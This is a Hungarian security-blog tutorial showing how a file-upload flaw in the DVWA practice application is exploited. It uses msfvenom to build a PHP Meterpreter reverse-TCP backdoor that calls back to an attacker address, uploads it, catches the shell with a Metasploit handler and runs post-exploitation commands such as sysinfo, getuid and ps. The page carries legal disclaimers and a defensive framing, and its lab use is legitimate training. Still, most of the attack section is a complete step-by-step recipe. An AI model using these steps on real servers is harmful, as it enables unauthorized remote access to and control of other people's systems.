Felhívjuk az Olvasók figyelmét arra, hogy ez a cikk azért született meg, hogy a saját fejlesztésű webes alkalmazások biztonságosabbak legyenek. Nem célunk, és határozottan elzárkózunk attól, hogy segítsünk bárkinek számítógépes bűncselekmények elkövetésében.
Nagyon sok honlapot a fejlesztőik az elvárások miatt felkészítettek arra, hogy különböző file-okat fel tudjanak tölteni a felhasználók. De tényleg fel vannak ezek a webes alkalmazások készítve arra, hogy csak az elvárt file-ok (pl.: képek, pdf, stb) lehessen feltölteni? A mostani cikkünkben bemutatjuk azt, hogy mi történhet akkor, ha nem megfelelő a kliens- és a szerveroldali validáció, és egy backdoor kerül feltöltésre.
Készítsük el először a backdoor-t. Az OWASP vizsgálatok első pontjai közé tartoznak azok, ahol a vizsgált webes alkalmazások tulajdonságai felderítése a cél. Egyik ilyen a webes alkalmazás megvalósításának a nyelve, a futtató keretkörnyezet, stb. A DVWA tesztalkalmazás PHP nyelven íródott, ezért a backdoort a következő utasítással készítjük el az msfvenom segítségével.
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.56.103 LPORT=12345 -o venom1.php
Ezzel az utasítással el is készült a backdoor file. Ezt ellenőrizhetjük a könyvtár tartalmának a megnézésével.
ls -l
Látható az első ábrán, hogy a backdoor-unk elkészült.
1. ábra A backdoor elkészítése
A következő feladatunk az, hogy ezt a backdoor-t feltöltsük a vizsgált webes alkalmazásra. Töltsük fel akkor most a venom1.php file-t, és a vizsgált alkalmazás kiírja a feltöltés helyét (2. ábra).
2. ábra A backdoor fetöltése
Miután elindult a Metasploit, adjuk meg a használni kívánt exploitot, illetve payloadot.
use exploit/multi/handler
Az exploit megadása után adjuk meg az alkalmazni kívánt payload-ot is, amelye egy reverse tcp.
set PAYLOAD php/meterpreter/reverse_tcp
Ezeket a folyamatokat láthatjuk a 3. ábrán, amelyek segítségével felkészítettük a Metasploitot arra, hogy kezelje a feltöltött backdoort.
3. ábra A Metasploitban beállítjuk az exploitot, illetve a reverse shellt
Noha a használni kívánt file-ok kiválasztásra kerültek, a payloadnak még be kell állítani néhány tulajdonságát. A következő utasítás segítségével meg tudjuk nézni azokat a beállításokat (ill. ezek értékeit), amelyeket a payload használni fog. Adjuk tehát ki a következő utasítást.
show options
Ennek segítségével látható, hogy az LHOST nincs beállítva, továbbá az LPORT is a default értéken van az 12345 helyett (4. ábra).
4. ábra Default értékek a shellben
Ezek nem megfelelőek, a saját IP címünket kell megadni, továbbá a helyes portszámot. Ezeket a következő utasításokkal lehet megtenni.
set LPORT 12345
set LHOST 192.168.56.103
Ezután már újra megnézhetjük a shell tulajdonságait (5. ábra).
5. ábra Beállítjuk a shellt a backdoor adatainak megfelelően
Most már "csak" össze kell kapcsolnunk a Metasploitot a webes alkalmazásunkba feltöltött backdoor-ral. Ehhez tudnunk kell a feltöltött backdoor elérési helyét.
192.168.56.102/DVWA-master/hackable/uploads/venom1.php
Ezt az elérési útvonalat alkalmazzuk a backdoor futtatásánál, üssünk egy entert a címmezőben (6. ábra).
6. ábra Futtatjuk a feltöltött php file-t
Most a Metasploitnál írjuk be a következő utasítást.
run
Ekkor elindul a Meterpreter, amellyel már a kiépített távoli kapcsolaton keresztül különböző utasítások futtathatók. Írjuk be a következő utasítást, amelynek segítségével megkapjuk a vizsgált webes alkalmazás tárhelyének néhány tulajdonságát.
sysinfo
A fenti utasítás hatására megjelenítjük a tárhely nevét, az operációs rendszerét (7. ábra).
7. ábra Elindítjuk a meterpretert, majd különböző utasításokat adunk ki
Nézzük meg most annak a könyvtárnak a tartalmát, ahol a feltöltött backdoorunk is megtalálható. Ehhez a jól ismert linux parancs kiadása szükséges.
ls
Most nézzük meg a következő utasítás segítségével, hogy milyen felhasználó nevében vagyunk bent.
getuid
A fenti utasítások futási eredménye látható a 8. ábrán.
8. ábra Meterpreterben adunk ki különböző utasításokat (sysinfo, ls, getuid)
A lehetőségünk tárháza elég széles, még egy példát mutatunk be. Le tudjuk kérni a webes alkalmazást hosztoló operációs rendszeren a futó processzek listáját.
ps
A megjelenített processzek listájának részlete látható a 9. ábrán.
9. ábra Meterpreterben adunk ki különböző utasításokat (ps)
Még egyszer felhívjuk az Olvasók figyelmét arra, hogy ez a cikk azért született meg, hogy rámutassunk a filefeltöltés sérülékenység veszélyére, és az ellene való védekezés fontosságára. Határozottan elhatárolódunk bármilyen bűncselekmény elkövetésének a segítésében.
Az információs rendszer vagy adat megsértése bűncselekmény (423. §).
Az nmap (grafikus megjelenítésnél a ZenMap) használata az IT biztonság, illetve az üzemeltetés területén dolgozó szakembereknél szinte elkerülhetetlen. Az ingyenes szoftver segítségével tesztelhetők a számítógépeink, a számítógéphálózatunk, vizsgálha. . . .
A Python programozási nyelv nagyon elterjedt a fejlesztők körében. Használják beágyazott rendszereknél, webes alkalmazásoknál, IT biztonság különböző területein, stb. Látható, hogy nagyon széles a felhasználási területe ennek a nyelvnek, ideje volt m. . . .
Bemutatjuk most a saját (!) Wifi-s hálózatunk tesztelésének az alapjait. Megnézzük, hogy hogyan lehet biztonságos jelszót választani. Feltörhetetlen rendszer nem létezik, de megismerve a tesztelés folyamatát, válaszokat kaphatunk arra vonatkozólag, h. . . .